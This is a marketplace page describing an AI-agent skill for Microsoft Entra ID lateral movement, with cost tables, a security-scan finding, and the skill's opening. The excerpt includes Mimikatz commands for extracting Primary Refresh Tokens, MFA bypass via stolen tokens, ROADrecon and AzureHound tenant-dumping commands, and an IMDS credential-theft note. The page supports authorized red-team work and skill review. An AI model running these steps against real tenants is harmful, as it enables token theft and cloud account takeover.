Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/azure-ad-lateral-movementWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/azure-ad-lateral-movement)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/azure-ad-lateral-movement"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/azure-ad-lateral-movement/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/azure-ad-lateral-movement"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/azure-ad-lateral-movement.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00062 | $0.02335 |
| Opus 5 | $0.00031 | $0.01167 |
| Sonnet 5 | $0.00012 | $0.00467 |
| Haiku 4.5 | $0.00006 | $0.00233 |
Grade C, and why
azure-ad-lateral-movement scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
# Note: If `Web-Server-01` has a "Managed Identity" attached, you can extract its cloud token via the IMDS (`169.254.169.254`) from your beacon, escalating back into the Cloud via a new identity! Copies of this mod
1 near-identical copy found in the catalogue:
- azure-ad-lateral-movement — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 185 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Microsoft Entra ID (Azure AD) Lateral Movement
When to Use
- Upon compromising a user's corporate workstation that is Entra ID joined (or Hybrid joined) and extracting the Primary Refresh Token (PRT).
- When obtaining a set of Azure credentials (username/password/MFA token) via spear-phishing or credential stuffing.
- During Red Team engagements utilizing BloodHound (AzureHound) to map complex, non-obvious permission chains across cloud applications and subscriptions.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Authentication & Token Extraction
# Concept: Entra ID relies on OAuth/OIDC tokens instead of traditional Kerberos tickets or NTLM hashes.
# The most powerful token on a corporate device is the Primary Refresh Token (PRT), which satisfies MFA requirements.
# 1. Device Compromise (Extracting the PRT)
# Execute Mimikatz or appropriate tools on the compromised Windows 10/11 endpoint.
privilege::debug
token::elevate
sekurlsa::dpapi
# Extract the PRT from the CloudAP plugin cache...
# 2. Re-authentication (ROADtools)
# Import the stolen PRT into ROADtools or use xpn's PRT-cookie generator.
# Bypasses MFA and conditional access targeting the specific device.
Phase 2: Reconnaissance & Graph Mapping
# Concept: You cannot move if you don't know the structure. We use the Azure REST API
# (via ROADtools) or AzureHound to dump the entire tenant's structure into a Graph Database.
# 1. Dumping the Directory with ROADrecon
roadrecon auth -u [email protected] -p "Password123!"
roadrecon gather
roadrecon plugin gui # Opens a local web interface to browse all Users, Groups, Devices, and Service Principals.
# 2. Mapping Attack Paths with BloodHound (AzureHound)
azurehound -u "[email protected]" -p "Password123!" --tenant "corp.onmicrosoft.com" list -o azure_data.json
# Upload the JSON to the BloodHound GUI.
# 3. Analyze the Graph:
# Locate paths like: `HackedUser` -> `[MemberOf]` -> `IT_Helpdesk Group` -> `[Owns]` -> `Service Principal A` -> `[Has Role]` -> `Contributor on Subscription X`...
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 185 lines · 62 tokens per session scan C 408224cbbc32
azure-ad-lateral-movement is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 62 tokens to every session and 2,335 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
azure-ad-lateral-movement
Execute lateral movement within Microsoft Entra ID (formerly Azure AD) and Microsoft 365 environments. Use this skill to traverse cloud resources using compromised user tokens, managed identities, Primary Refresh Tokens (PRT), and application permissions (Service Principals) to achieve Global Administrator access.
detecting-azure-lateral-movement
Detect lateral movement in Azure AD/Entra ID environments using Microsoft Graph API audit logs, Azure Sentinel KQL hunting queries, and sign-in anomaly correlation to identify privilege escalation, token theft, and cross-tenant pivoting.
detecting-azure-service-principal-abuse
Detect and investigate Azure service principal abuse including privilege escalation, credential compromise, admin consent bypass, and unauthorized enumeration in Microsoft Entra ID environments.
auditing-azure-active-directory-configuration
Auditing Microsoft Entra ID (Azure Active Directory) configuration to identify risky authentication policies, overly permissive role assignments, stale accounts, conditional access gaps, and guest user risks using AzureAD PowerShell, Microsoft Graph API, and ScoutSuite.
auditing-azure-active-directory-configuration
Auditing Microsoft Entra ID (Azure Active Directory) configuration to identify risky authentication policies, overly permissive role assignments, stale accounts, conditional access gaps, and guest user risks using AzureAD PowerShell, Microsoft Graph API, and ScoutSuite.
auditing-azure-active-directory-configuration
Auditing Microsoft Entra ID (Azure Active Directory) configuration to identify risky authentication policies, overly permissive role assignments, stale accounts, conditional access gaps, and guest user risks using AzureAD PowerShell, Microsoft Graph API, and ScoutSuite.